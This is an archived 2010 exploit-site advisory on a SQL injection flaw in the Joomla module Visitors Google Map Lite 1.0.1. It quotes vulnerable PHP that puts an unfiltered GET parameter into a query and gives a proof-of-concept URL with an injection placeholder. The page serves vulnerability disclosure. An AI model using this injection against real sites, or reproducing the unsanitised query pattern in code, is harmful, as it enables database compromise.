Visitors Google Map Lite 1.0.1 mod_visitorsgooglemap SQL Inj
Posted on 09 September 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Visitors Google Map Lite 1.0.1 mod_visitorsgooglemap SQL Injection</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================== Visitors Google Map Lite 1.0.1 mod_visitorsgooglemap SQL Injection ================================================================== - Discovered by : Chip D3 Bi0s - Email : chipdebios[at]gmail[dot]com - Group : LatinHackTeam - Date : 2010-09-08 - Where : From Remote ------------------------------------------------------------------------------------- Affected software description Application : Visitors Google Map Lite 1.0.1 (FREE) (module:mod_visitorsgooglemap) Developer : Serdar G?kkus Compatibility : Joomla 1.5 Native License : GPLv2 or later Date Added : Sunday August 29, 2010 01:14:14 Download : http://www.comlantis.com/download/doc_download/2-visitors-google-map-lite-101-free.html I. BACKGROUND This extension tracks visitors of your site in real time and displays their locations in Google Map. It uses three main technologies: - Map API of Google - AJAX - IP geolocation API of IPInfoDB Content of VisitorsGoogeMap Package: This extension contains one Joomla Compoment and two Joomla Modules. com_visitorsgooglemap: This component is responsible for the creation database table during installation and remove it clearly in case of uninstallation. mod_visitorsgooglemap: This module is responsible for the display of Google Map in desired module position in your template and track the visitors of your Joomla page in the map. mod_visitorsgooglemap_agent: This module is responsible for the updating visitors information in the database. II. DESCRIPTION Some sql injecton vulnerabilities exist in mod_visitorsgooglemap module . III. ANALYSIS The bug is in the following files, specifying the lines /mod_visitorsgooglemap/map_data.php [16] [if ($_GET['action'] == 'listpoints') [17] { [18] $lastMarkerID = $_GET['lastMarkerID']; [19] ini_set('default_mimetype','text/xml'); // manchmal notwendig [20] header ('Content-Type: text/xml'); // reicht nicht immer [21] echo '<?xml version="1.0" ?>'; [22] echo '<xmlresponse>'; [23] $database =& JFactory::getDBO(); [24] $query = "SELECT * FROM #__visitorsgooglemap_location where id > $lastMarkerID order by id"; Explanation:As noted in the line [24] $ lastMarkerID nowhere is filtered, which result in a query pede unexpected IV. EXPLOITATION http://site/path/modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0{sql} +++++++++++++++++++++++++++++++++++++++ [!] Produced in South America +++++++++++++++++++++++++++++++++++++++ # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-09]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
